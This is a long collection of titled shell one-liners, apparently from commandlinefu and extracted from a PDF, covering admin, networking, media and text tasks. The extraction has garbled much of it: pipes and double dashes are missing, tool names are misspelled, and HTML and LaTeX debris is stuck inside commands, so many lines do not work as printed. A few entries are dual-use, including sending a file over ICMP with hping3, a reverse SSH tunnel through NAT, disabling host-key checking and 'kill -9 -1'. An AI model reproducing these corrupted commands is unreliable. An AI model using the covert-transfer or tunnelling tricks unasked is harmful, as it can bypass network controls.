Daemonize nc - Transmit a file like a http server	
\$ while ( nc -l 80 < /file.htm > : ) ; do : ; done &	
tail a log over ssh	
\$ ssh -t remotebox "tail -f /var/log/remote.log"	
du with colored bar graph	
\$ t=\$(df  awk 'NR!=1{sum+=\$2}END{print sum}');sudo du /max-depth=1 sed '\$d' sort -rn -k1   awk -	
v t=\$t 'OFMT="%d" {M=64; for (a=0;a<\$1;a++){if (a>c) {c=a}}br=a/c;b=M*br; for(x=0;x <b;x++) "="" "\$2"="" "(a="" "\033[0m"}print="" "\033[1;31m"="" " "="" t*100)"%="" td="" total"}'<="" {printf=""><td></td></b;x++)>	
Resize an image to at least a specific resolution	
\$ convert -resize '1024x600^' image.jpg small-image.jpg	
Query well known ports list	
\$ getent services < <service>&gt;</service>	
Create .pdf from .doc	
\$ oowriter -pt pdf your_word_file.doc	

Diff XML files	
\$ diffxml() { diff -wb <(xmllintformat "\$1") <(xmllintformat "\$2"); }	
Discovering all open files/dirs underneath a directory	
\$ Isof +D <dirname></dirname>	
"Clone" a list of installed packages from one Debian/Ubun another	tu Server to
<pre>\$ apt-get install `ssh root@host_you_want_to_clone "dpkg -l   grep ii"   awk '{print \$2}'`</pre>	
clear screen, keep prompt at eye-level (faster than clear(1)	, tput cl, etc.)
$cls() \{ printf "\33[2J"; \} or, if no printf, cat >cls; [2J cls() { cat cls; }$	
Down for everyone or just me?	
\$ down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/\$1"   sed '/just you/!d;s/<[^>]*>//g';}	
A formatting test for David Winterbottom: improving comm for submitters	nandlinefu
\$ echo "??????, these are the umlauted vowels I sing to you. Oh, and sometim es ?, but I don't sing that one cause it doesn't rhyme."	
Compare copies of a file with md5	
\$ cmp file1 file2	
backup delicious bookmarks	
\$ curluser login:password -o DeliciousBookmarks.xml - O 'https://api.del.icio.us/v1/posts/all'	
analyze traffic remotely over ssh w/ wireshark	
\$ ssh root@HOST tcpdump -U -s0 -w - 'not port 22'   wireshark -k -i -	
pretend to be busy in office to enjoy a cup of coffee	
\$ for i in {0600}; do echo \$i; sleep 1; done   dialoggauge "Install" 6 40	

Get all links of a website	
\$ lynx -dump http://www.domain.com   awk '/http/{print \$2}'	
Find all active ip's in a subnet	
\$ sudo arp-scan -I eth0 192.168.1.0/24	
Disassemble some shell code	
\$ echo -ne " <shellcode>"   x86dis -e 0 -s intel</shellcode>	
List bash functions defined in .bash_profile or .bashrc	
\$ compgen -A function	
Resume a detached screen session, resizing to fit the curre	ent terminal
\$ screen -raAd	
ignore the .svn directory in filename completion	
\$ export FIGNORE=.svn	
Working random fact generator	
$\$ wget random funfacts.com -O - 2>/dev/null   grep \ <strong \&gt;   sed "s;^.*<i>\ (.*\)</i>.*\$; \1;"</strong 	
Remote backups with tar over ssh	
\$ tar jcpf - [sourceDirs]  ssh user@host "cat > /path/to/backup/backupfile. tar.bz2"	
Pronounce an English word using Dictionary.com	
$\label{eq:complex} $$pronounce(){ wget -qO- $( wget -qO- "http://dictionary.reference.com/browse/$@"   grep 'soundUrl'   head -n 1   sed 's .*soundUrl=\([^&]*\)&.* \1 '   sed 's/%3A/:/g;s/%2F/\//g')   mpg123 -; } $$$	
Change pidgin status	
\$ purple-remote "setstatus?status=away&message=AFK"	

Grep by paragraph instead of by line.	
\$ grepp() { [ \$# -eq 1 ] && perl -00ne "print if /\$1/i"    perl -00ne "print if /\$1/i" < "\$2";}	
Vim: Switch from Horizontal split to Vertical split	
\$ ^W-L <b>_</b>	
Numbers guessing game	
\$ A=1;B=100;X=0;C=0;N=\$[\$RANDOM%\$B+1];until [ \$X -eq \$N ];do read -p "N between \$A and \$B. Guess? " X;C=\$((\$C+1));A=\$((\$X<\$N? \$X:\$A));B=\$((\$X>\$N?\$X:\$B));done;echo "Took you \$C tries, Einstein";	
a trash function for bash	
\$ trash <file></file>	
Sort all running processes by their memory & CPU usage	
\$ ps auxsort=%mem,%cpu	
generate a unique and secure password for every website login to	that you
\$ sitepass() { echo -n "\$@"   md5sum   sha1sum   sha224sum   sha256sum   sha384sum   sha512sum   gzip -   s trings -n 1   tr -d " [:space:]"   tr -s '[:print:]'   tr '!-~' 'P-~!-O'   rev   cut -b 2-11; history -d \$((\$HISTCMD-1)); }	
Change user, assume environment, stay in current dir	
\$ su user	
List Network Tools in Linux	
\$ apropos network  more	
Save current layout of top	
\$ <shift +="" w=""></shift>	
Testing hard disk reading speed	
\$ hdparm -t /dev/sda	

How fast is the connexion to a URL, some stats from curl	
\$ URL="http://www.google.com";curl -Lw "\$URL DNS %{ time_namelookup}s conn %{ time_connect}s time %{ time_total}s Speed %{speed_download}bps Size %{size_download}bytes " -o/dev/null -s \$URL	
An easter egg built into python to give you the Zen of Pyth	non
\$ python -c 'import this'	
Salvage a borked terminal	
\$ <ctrl+j>stty sane<ctrl+j></ctrl+j></ctrl+j>	
Get all IPs via ifconfig	
\$ ifconfig -a   perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print \$1'	
Use Cygwin to talk to the Windows clipboard	
\$ cat /dev/clipboard; \$(somecommand) > /dev/clipboard	
Backup files incremental with rsync to a NTFS-Partition	
\$ rsync -rtvumodify-window=1 progress /media/SOURCE/ /media/TARGET/	
List programs with open ports and connections	
\$ Isof -i	
Find corrupted jpeg image files	
\$ findname "*jpg" -exec jpeginfo -c {} \;   grep -E "WARNING ERROR"	
'Fix' a typescript file created by the 'script' program to rem characters	nove control
$\$ cat typescript   perl -pe 's/\e([^\[\]] \[.*?[a-zA-Z] \].*?\a)//g'   col - b > typescript-processed	
Share a 'screen'-session	
\$ screen -x	

Purge configuration files of removed packages on debian by systems	oased
\$ sudo aptitude purge `dpkgget-selections   grep deinstall   awk '{print \$1}'`	
Show all detected mountable Drives/Partitions/BlockDevice	es
\$ hwinfoblockshort	
Displays the attempted user name, ip address, and time of logins on Debian machines	SSH failed
\$ awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s-	_
", \$9, \$11, \$1, \$2, \$3}' /var/log/auth.log	
Merge *.pdf files	
\$ gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`	
Append stdout and stderr to a file, and print stderr to the s	creen [bash]
\$ somecommand 2>&1 >> logfile   tee -a logfile	
quickly change all .html extensions on files in folder to .htm	n
\$ for i in *.html; do mv \$i \${i%.html}.htm; done	
Delete the specified line	
\$ sed -i 8d ~/.ssh/known_hosts	
Read the output of a command into the buffer in vim	
\$ :r !command	
Create an SSH SOCKS proxy server on localhost:8000 that itself if something breaks the connection temporarily	will re-start
\$ autossh -f -M 20000 -D 8000 somehost -N	
Find broken symlinks	
\$ findtype   ! -exec test -e {} \; -print	

ssh tunnel with auto reconnect ability	
\$ while [!-f/tmp/stop]; do ssh -o ExitOnForwardFailure=yes - R 2222:localhost:22 target " while nc - zv localhost 2222; do sleep 5; done"; sleep 5;done	
find process associated with a port	
\$ fuser [portnumber]/[proto]	
Echo the latest commands from commandlinefu on the cor	sole
$$$ wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null   awk '/\s* <title ,="" b);print="" b[1]}<="" cdata\[([^\\]]*)\]="" td="" {z="match(\$0,">&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;add all files not under version control to repository&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ svn status  grep '\?'  awk '{print \$2}'  xargs svn add&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Using a single sudo to run multiple &amp;&amp; arguments&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ sudo -s &lt;&lt;&lt; ' apt update -y &amp;&amp; apt upgrade -y'&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Disco lights in the terminal&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ while true; do pri ntf "\e[38;5;\$((\$(od -d -N 2 - A n /dev/ura ndom)%\$(tput colors)))m.\e[0m"; do ne&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Show how old your linux OS installtion is&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ sudo tune2fs -I \$(df -h /  (read; awk '{print \$1; exit}'))   grep -i created&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Fetch the current human population of Earth&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ curl -s http://www.census.gov/popclock/data/population/world   python -c 'import json,sys;obj=json.load(sys.stdin);print obj["world"]["population"]'&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Discover the process start time&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ ps -eo pid,lstart,cmd&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</title>	

The fastest remote directory rsync over ssh archival I can re (40MB/s over 1gb NICs)	nuster
<pre>\$ rsync -aHAXxvnumeric-idsdeleteprogress -e "ssh -T -c arcfour - o Compression=no -x" user@<source/>:<source_dir> <dest_dir></dest_dir></source_dir></pre>	
True Random Dice Roll	
\$ tr -cd '1-6' < /dev/urandom   head -c 1; echo	
Automatically find and re-attach to a detached screen sessi	ion
\$ screen -D -R	
This is how you should push a string in a command's stdin	
\$ command <<< word	
ping as traceroute	
\$ for i in {130}; do ping -t \$i -c 1 google.com; done   grep "Time to live exceeded"	
what model of computer I'm using?	
\$ sudo dmidecode   grep Product	
Extract tar content without leading parent directory	
\$ tar -xaf archive. tar.gzstrip-components=1	
Target a specific column for pattern substitution	
\$ awk '{gsub("foo","bar",\$5)}1' file	
Run a command when a file is changed	
\$ while inotifywait -e modify /tmp/myfile; do firefox; done	
Watch several log files of different machines in a single multitail window on your own machine	
\$ multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log" -	
l 'ssh machine2 "tail -f /var/log/apache2/error.log'"	

Substrings a variable	
\$ var='123456789'; echo \${var: <start_pos>:<offset>}</offset></start_pos>	
One command line web server on port 80 using nc (netcat	)
\$ while true; do nc -1 80 < index.html; done	
RDP through SSH tunnel	
\$ ssh -f -L3389: <rdp_host>:3389 <ssh_proxy> "sleep 10" &amp;&amp; rdesktop - T'<window_title>' -uAdministrator -g800x600 -a8 -rsound:off - rclipboard:PRIMARYCLIPBOARD -5 localhost</window_title></ssh_proxy></rdp_host>	
Numeric zero padding file rename	
\$ rename 's/\d+/sprintf("%04d",\$&)/e' *.jpg	
Find out the starting directory of a script \$ echo "\${0%/*}"	
Remote screenshot	
\$ ssh user@remote-host "DISPLAY=:0.0 import -window root -format png - " display -format png -	
Google text-to-speech in mp3 format	
\$ say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=\$(echo \$*   sed 's#\ #\+#g')" > /dev/null 2>&1; }	
add the result of a command into vi \$ !!command	
Place the NUM-th argument of the most recent command of \$ <alt>+&lt;.&gt; or <alt>+&lt;.&gt; or <alt>+&lt;.&gt; \bigcircle{\text{\titt{\text{\titt{\text{\ti}\text{\tex{</alt></alt></alt>	on the shell
Find the package a command belongs to on Debian \$ dpkg -S \$( which   Is )	

Look up a unicode character by name	
\$ egrep -i "^[0-9a-f]{4,} .*\$*" \$(locate CharName.pm)   while read h d; do /usr/bin/printf "\U\$(printf "%08x" 0x\$h)\tU+%s\t%s "\$h "\$d"; done	
Start dd and show progress every X seconds	
\$ dd if=/path/inputfile   pv   dd of=/path/outpufile	
Ask user to confirm	
\$ Confirm() { read -sn 1 -p "\$1 [Y/N]? "; [[ \$REPLY = [Yy] ]]; }	
Capture video of a linux desktop	
\$ ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo   grep 'dimensions:' awk '{print \$2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4	
Random unsigned integer	
\$ echo \$(openssl rand 4   od -DAn)	
kill all process that belongs to you \$ kill -9 -1	
Make a file not writable / immutable by root  \$ sudo chattr +i <file></file>	
Continue a current job in the background \$ <ctrl+z> bg</ctrl+z>	
translates acronyms for you  \$ wtf is <acronym></acronym>	
Delete DOS Characters via VIM (^M) \$ :set ff=unix	

Create an animated gif from a Youtube video	
\$ url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl - b \$url; mplayer \$(ls \${url##*=}*  tail -n1) -ss 00:57 -endpos 10 - vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound	
Print just line 4 from a textfile	
\$ sed -n '4{p;q}'	
Print just line 4 from a textfile	
\$ sed -n '4p'	
Quick HTML image gallery from folder contents	
$\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ $	
Get your external IP address without curl	
\$ wget -qO- icanhazip.com	
Countdown Clock	
\$ MIN=1 && for i in \$(seq \$((\$MIN*60)) -1 1); do echo - n "\$i, "; sleep 1; done; echo -e "	
BOOOM! Time to start."	_
lines in file2 that are not in file1	
\$ grep -Fxv -f file1 file2	
JSON processing with Python	
\$ curl -s "http://feeds.delicious.com/v2/json?count=5"   python -m json.tool   less -R	
Start a HTTP server which serves Python docs	
\$ pydoc -p 8888 & gnome-open http://localhost:8888	
Optimize PDF documents	
\$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 - dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH - sOutputFile=output.pdf input.pdf	

Do some learning	
\$ Is /usr/bin   xargs whatis   grep -v nothing   less	
Insert the last argument of the previous command	
\$ <alt> .</alt>	
Carriage return for reprinting on the same line	
\$ while true; do echo -ne "\$(date)\r"; sleep 1; done	
Copy a folder tree through ssh using compression (no temp	orary files)
\$ ssh <host> ' tar -cz /<folder>/<subfolder>'   tar -xvz</subfolder></folder></host>	
command line calculator	
\$ calc(){ awk "BEGIN{ print \$* }" ;}	
Backup a local drive into a file on the remote host via ssh	
\$ dd if=/dev/sda   ssh user@server ' dd of=sda.img'	
Kill processes that have been running for more than a week	<b>k</b>
\$ find /proc -user myuser -maxdepth 1 -type d -mtime +7 - exec basename {} \;   xargs kill -9	
Print text string vertically, one character per line.	
\$ echo "vertical text"   grep -o '.'	
Find running binary executables that were not installed using	ng dpkg
\$ cat /var/lib/dpkg/info/*.list > /tmp/listin; Is /proc/*/exe  xargs -l readlink   grep -xvFf /tmp/listin; rm /tmp/listin	
Add prefix onto filenames	
\$ rename 's/^/prefix/' *	
Pick a random line from a file	
\$ shuf -n1 file.txt	

Get all these commands in a text file with description.
\$ for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort- by-votes/plaintext/\$x"; done > commandlinefu.txt
Stripping ^M at end of each line for files
\$ dos2unix <filenames></filenames>
Find removed files still in use via /proc
\$ find -L /proc/*/fd -links 0 2>/dev/null
Connect to google talk through ssh by setting your IM client to use the localhost 5432 port
\$ ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
List and delete files older than one year
\$ find <directory path=""> -mtime +365 -and -not -type d -delete</directory>
for all flv files in a dir, grab the first frame and make a jpg.
\$ for f in *.flv; do ffmpeg -y -i "\$f" -f image2 -ss 10 -vframes 1 - an "\${f%.flv}.jpg"; done
wrap long lines of a text
wrap long lines of a text \$ fold -s -w 90 file.txt
· •
\$ fold -s -w 90 file.txt
\$ fold -s -w 90 file.txt   Grep colorized
\$ fold -s -w 90 file.txt    Grep colorized  \$ grep -icolor=auto    from within vi, pipe a chunk of lines to a command line and replace the
\$ fold -s -w 90 file.txt  Grep colorized \$ grep -icolor=auto  from within vi, pipe a chunk of lines to a command line and replace the chunk with the result

oot format	
\$ alias timestamp='date "+%Y%m%dT%H%M%S"	
Grep without having it show its own process in the results	
\$ ps aux   grep "[s]ome_text"	
count IPv4 connections per IP	
<pre>\$ netstat -anp  grep 'tcp\ udp'   awk '{print \$5}'   sed s/::ffff://   cut -d: -f1   sort   uniq -c   sort -n</pre>	
Files extension change	
\$ rename .oldextension .newextension *.oldextension	
archive all files containing local changes (svn)	
\$ svn st   cut -c 8-   sed 's/^\"/;s/\$\\"/'   xargs tar -czvf/backup.tgz	
Just run it ;)	
\$ echo SSBMb3ZIIFlvdQo=   base64 -d	
pattern match in awk - no grep	
\$ awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'	
Block an IP address from connecting to a server	
\$ iptables -A INPUT -s 222.35.138.25/32 -j DROP	
Optimal way of deleting huge numbers of files	
\$ find /path/to/dir -type f -print0   xargs -0 rm	
Optimal way of deleting huge numbers of files	
\$ rsync -adelete empty-dir/ target-dir/	

Unix alias for date command that lets you create timestamps in ISO

du with colored bar graph	
\$ du -xmax-depth=1 sort -rn awk -F / - v c=\$COLUMNS 'NR==1{t=\$1} NR>1{r=int(\$1/t*c+.5); b="\033[1;31m"; for (i= 0; i <r; "="" ",="" \$1="" \$2}' tac<="" %5.2f%%="" %s="" %s\033[0m="" b='b"#";' b,="" i++)="" printf="" t*100,="" td=""></r;>	
quick copy	
\$ cp foo{,bak}	
Sending a file over icmp with hping	
\$ hping3 10.0.2.254icmpsign MSGID1 -d 50 -c 1file a_file	
Kill a broken ssh connection	
\$ < Return >~.	
Convert JSON to YAML	
\$ ruby -ryaml -rjson - e 'puts YAML.dump(JSON.parse(STDIN.read))' < file.json > file.yaml	
Convert Shell Text to Upper/Lower Case  \$ ALT-U / ALT-L	
Binary digits Matrix effect	
\$ perl -e '\$ ++; while (1) { print " " x (rand(35) + 1), int(rand(2)) }'	
open two files side by side in vim (one window, two panes) \$ vim -O file1 file2	
repeat a command every one second	
\$ watch -n 1 "do foo"	
Recursively find top 20 largest files (> 1MB) sort human readable format	
\$ findtype f -print0   xargs -0 du -h   sort -hr   head -20	

Update all packages installed via homebrew	
\$ brew update && brew upgrade `brew outdated`	
open a screenshot of a remote desktop via ssh	
\$ xloadimage <(ssh USER@HOSTNAME DISPLAY=:0.0 import - window root png:-)	
Find ulimit values of currently running process	
\$ cat /proc/PID/limits	
diff current vi buffer edits against original file	
\$:w!diff-u%-	
Redirect tar extract to another directory	
\$ tar xfz filename. tar.gz -C PathToDirectory	
print multiplication formulas	
\$ seq 9   sed 'H;g'   awk - v RS=" '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?" ":"\t")}'	
Find Malware in the current and sub directories by MD5 has	shes
\$ IFS=\$' ' && for f in `findtype f -exec md5sum "{}" \;`; do echo \$f   sed - r 's/^[^]+/Checking:/'; echo \$f   cut -f1 -d' '   netcat hash.cymru.com 43; done	
Execute a command, convert output to .png file, upload file imgur.com, then returning the address of the .png.	to
\$ imgur(){ \$* convert label:@- png:- curl -F "image=@-" - F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload .xml  grep -Eo " <original>(.)*</original> "   grep -Eo "http://i.imgur.com/[^<]*";}	
Generate a random password 30 characters long	
\$ gpggen-randomarmor 1 30	

all out
\$ pkill -KILL -u username
Run a ext4 file system check and badblocks scan with progress info
\$ fsck.ext4 -cDfty -C 0 /dev/sdxx
Selecting a random file/folder of a folder
\$ shuf -n1 -e *
List your MACs address
\$ Ismac() { ifconfig -a   sed '/eth\ wl/!d;s/ Link.*HWaddr//';}
ssh to machine behind shared NAT
\$ ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com
Countdown Clock
\$ MIN=10;for ((i=MIN*60;i>=0;i));do <b>echo</b> -ne "\r\$(date -d"0+\$i sec" +%H:%M:%S)";sleep 1;done
list all file extensions in a directory
\$ findtype f   awk -F'.' '{print \$NF}'   sort  uniq -c   sort -g
Send an http HEAD request w/curl
\$ curl -I http://localhost
view hex mode in vim
\$:%!xxd
View ~/.ssh/known_hosts key information
\$ ssh-keygen -I -f ~/.ssh/known_hosts
Kill all Zombie processes (Guaranteed!)
\$ kill -9 `ps -xaw -o state -o ppid   grep Z   grep -v PID   awk '{print \$2}'`

prevent accidents and test your command with echo
\$ echo rm *.txt
exclude a column with awk
\$ awk '{ \$5=""; print }' file
Get My Public IP Address
\$ curl ifconfig.me
pretend to be busy in office to enjoy a cup of coffee
\$ for i in `seq 0 100`;do timeout 6 dialoggauge "Install" 6 40 "\$i";done
Empty a file
\$:> file
Better way to use notify-send with at or cron
\$ DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
use screen as a terminal emulator to connect to serial consoles
\$ screen /dev/tty <device> 9600</device>
Emptying a text file in one shot
\$:%d
computes the most frequent used words of a text file
\$ cat WAR_AND_PEACE_By_LeoTolstoi.txt   tr -cs "[:alnum:]" " "  tr "[:lower:]" "[:upper:]"   awk '{h[\$1]++}END{for (i in h){print h[i]" "i}}' sort - nr   cat -n   head -n 30
Print info about your real user.
\$ who loves mum
Serve current directory tree at http://\$HOSTNAME:8080/ \$ twistd -n webpath .

103041003	
\$ rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 \$@ &	
Restrict the bandwidth for the SCP command	
\$ scp -l10 pippo@serverciccio:/home/zutaniddu/* .	
live ssh network throughput test	
\$ pv /dev/zero ssh \$host 'cat > /dev/null'	
bash screensaver (scrolling ascii art with customizable	message)
\$ while [ 1 ]; do banner 'ze missiles, zey are coming! '   while IFS=" read I; do echo "\$I"; sleep 0.01; done; done	
Upgrade all perl modules via CPAN	
\$ cpan -r	
Optimal way of deleting huge numbers of files	
\$ find /path/to/dir -type f -delete	
Remove lines that contain a specific pattern(\$1) from fil	e(\$2).
\$ sed -i '/myexpression/d' /path/to/file.txt	
List your largest installed packages (on Debian/Ubuntu)	
\$ dpigs	
rsync + find	
\$ findname "whatever.*" -print0   rsync -avfiles-from= from0 ./ ./destination/	
autossh + ssh + screen = super rad perma-sessions	
\$ AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'	

Open Remote Desktop (RDP) from command line and connect local

Record microphone input and output to date stamped mp3 file	
\$ arecord -q -f cd -r 44100 -c2 -t raw   lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3	
cycle through a 256 colour palette	
\$ yes "\$(seq 1 255)"   while read i; do printf "\x1b[48;5;\${i}m "; sleep .01; done	
Parallel file downloading with wget	
\$ wget -nv http://en.wikipedia.org/wiki/Linux -O-   egrep - o "http://[^[:space:]]*.jpg"   xargs -P 10 -r -n 1 wget -nv	
move a lot of files over ssh	
\$ tar -cf - /home/user/test   gzip -c   ssh user@ sshServer 'cd /tmp; tar xfz -'	
Cleanup firefox's database.	
\$ pgrep -u `id -u` firefox-bin    find ~/.mozilla/firefox -name '*.sqlite'  (while read -e f; do echo 'vacuum;' sqlite3 "\$f"; done)	
vim easter egg	
\$ \$ vim :help 42	
Find the process you are looking for minus the grepped or	ıe
\$ pgrep command_name	
Stream YouTube URL directly to mplayer	
$$ id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php? video_id=$id&t=$(curl -s http://www.youtube.com/watch?v=$id   sed -n 's/.*, "t": "\([^"]*\)", .*\\1/p')$	
currently mounted filesystems in nice layout	
\$ column -t /proc/mounts	
Send email with one or more binary attachments	
\$ echo "Body goes here"   mutt -s "A subject" - a /path/to/file.tar.gz recipient@example.com	

Salvage a borked terminal	
\$ echo <ctrl-v><esc>c<enter></enter></esc></ctrl-v>	
Update twitter via curl	
\$ curl -u user - d status="Tweeting from the shell" http://twitter.com/statuses/update.xml	
ssh autocomplete	
\$ complete -W "\$(echo \$(grep '^ ssh ' .bash_history   sort -u   sed 's/^ ssh //'))" ssh	
Get all IPs via ifconfig	
\$ ifconfig   perl -nle'/dr:(\S+)/ && print \$1'	
VIM: Replace a string with an incrementing number between and 'b (eg, convert string ZZZZ to 1, 2, 3,) \$ :let i=0   'a,'bg/ZZZZ/s/ZZZZ/\=i/   let i=i+1	en marks 'a
Get the canonical, absolute path given a relative and/or not path	ncanonical
\$ readlink -f/super/symlink_bon/ahoy	
Create a Multi-Part Archive Without Proprietary Junkware \$ tar czv Pictures   split -d -a 3 -b 16M - pics. tar.gz.	
Display last exit status of a command \$ echo \$?	
Enable ** to expand files recursively (>=bash-4.0) \$ shopt -s globstar	
Delete all files found in directory A from directory B  \$ for file in <directory a="">/*; do rm <directory b="">/`basename \$ file`; done</directory></directory>	

Command Line to Get the Stock Quote via Yahoo
\$ curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
Plays Music from SomaFM
\$ read -p "Which station? "; mplayerreallyquiet -vo none - ao sdl http://somafm.com/startstream=\${REPLY}.pls
Search for a single file and go to it
\$ cd \$(dirname \$(find ~ -name emails.txt))
Convert camelCase to underscores (camel_case)
\$ sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
Set your profile so that you resume or start a screen session on login
\$ echo "screen -DR" >> ~/.bash_profile
play high-res video files on a slow processor
\$ mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
Create directory named after current date
\$ mkdir \$(date +%Y%m%d)
Monitor dynamic changes in the dmesg log.
\$ watch "dmesg  tail -15"
Generate a list of installed packages on Debian-based systems
\$ dpkgget-selections > LIST_FILE
find the process that is using a certain port e.g. port 3000
\$ Isof -P   grep ':3000'
Edit the last or previous command line in an editor then execute
\$ fc [history-number]

Pause Current Thread
\$ ctrl-z
Converts to PDF all the OpenOffice.org files in the directory \$ for i in \$(ls *.od{tp}); do unoconv -f pdf \$i; done
Create a bunch of dummy files for testing \$ touch {110}.txt
Shows size of dirs and files, hidden or not, sorted.  \$ du -cs * .[^\.]*   sort -n
Convert .wma files to .ogg with ffmpeg
\$ find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
Find distro name and/or version/release
\$ cat /etc/*-release
Generate Random Passwords
\$ < /dev/urandom tr -dc _A-Z-a-z-0-9   head -c6
bash shortcut: !\$ !^ !* !:3 !:h and !:t
\$ echo foo bar foobar barfoo && echo !\$ !^ !:3 !* && echo /usr/bin/foobar&& echo !\$:h !\$:t
Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore.
\$ find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
Tells which group you DON'T belong to (opposite of command "groups") uses sed
\$ sed -e "/\$USER/d;s/:.*//g" /etc/group   sed -e :a -e '/\$/N;s/ //;ta'

Quickly get summary of sizes for files and folders \$ du -sh *	
Host cpu performance \$ openssl speed md5	
drop first column of output by piping to this \$ awk '{ \$1="";print}' \[ \begin{align*}	
Create a bunch of dummy text files  \$ base64 /dev/urandom   head -c 33554432   split -b 8192 -da 4 - dummy.	ā
Get the Nth argument of the last command (handling space \$ !:n	es correctly)
Retry the previous command until it exits successfully \$!!; while [\$? -ne 0]; do !!; done	
Play awesome rythmic noise using aplay	
\$ echo "main(i){for(i=0;;i++)putchar(((i* (i>>8 i>>9)&46&i>>8))^(i&i>>13 i>>6));}"   gcc -x c - && ./a.out   aplay	
Turns red the stderr output	
\$ color()(set -o pipefail;"\$@" 2>&1>&3 sed \$'s,.*,\e[31m&\e[m,'>&2)3>&1	
Recursively unrar into dir containing archive	
\$ findname '*.rar' -execdir unrar e {} \;	
Temporarily ignore mismatched SSH host key	
\$ ssh -o UserKnownHostsFile=/dev/null - o StrictHostKeyChecking=no username@host	
Remove all zero size files from current directory (not recurs	sive)
\$ findmaxdepth 1 -size 0c -delete	

Watch the progress of 'dd'	
\$ pv -tpreb /dev/urandom   dd of=file.img	
Get a stream feed from a Twitter user	
\$ step1; step2; step3; step4; curl -o get 'https://stream.twitter.com/1/statuses/filter.json' header "\$oauth_header"data "follow=\$id"	
Create the authorization header required for a Twitter stream	m feed
<pre>\$ step4() { oauth_header="Authorization: OAuth oauth_consumer_key=\"\$k1\ ", oauth_nonce=\"\$once\", oauth_signature=\"\$signature\", oauth_signature_ method=\"HMAC- SHA1\", oauth_timestamp=\"\$ts\", oauth_token=\"\$k3\", oauth_version=\"1.0\" "; }</pre>	
Create the signature base string required for a Twitter stream	am feed
\$ step2() { b="GET&https%3A%2F%2Fstream.twitter.com%2F1%2Fstatuses%2Ffilter.j son&follow%3D\${id}%26oauth_consumer_key%3D\${k1}%26oauth_nonce%3D\${once}%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D\${ts}%26oauth_token%3D\${k3}%26oauth_version%3D1.0";}	
Create the oauth token required for a Twitter stream feed	
\$ step3() { s=\$( echo -n \$b   openssl dgst -sha1 -hmac \$hmac -binary   openssl base64); signature=`for((i=0;i<\${#s};i++)); do case \${s:i:1} in +) e % 2B;; /) e %2F;; =) e %3D;; *) e \${s:i:1};; esac ; done`; }; e() { echo -n \$1; }	
Check your spelling	
\$ aspell -a <<< ' <words>'</words>	
Find all files larger than 500M and less than 1GB	
\$ find / -type f -size +500M -size -1G	
Show bandwidth use oneliner	
$ \begin{tabular}{lllllllllllllllllllllllllllllllllll$	

Change/Modify timestamp interactively
\$ touch -d \$(zenitycalendardate-format=%F) filename
sort the contents of a text file in place.
\$ sort -g -o list.txt{,}
Instantly load bash history of one shell into another running shell
\$ \$ history -a #in one shell , and \$ history -r #in another running shell
Compare directories via diff
\$ diff -rq dirA dirB
copy with progress bar - rsync
\$ rsync -rv <src> <dst>progress</dst></src>
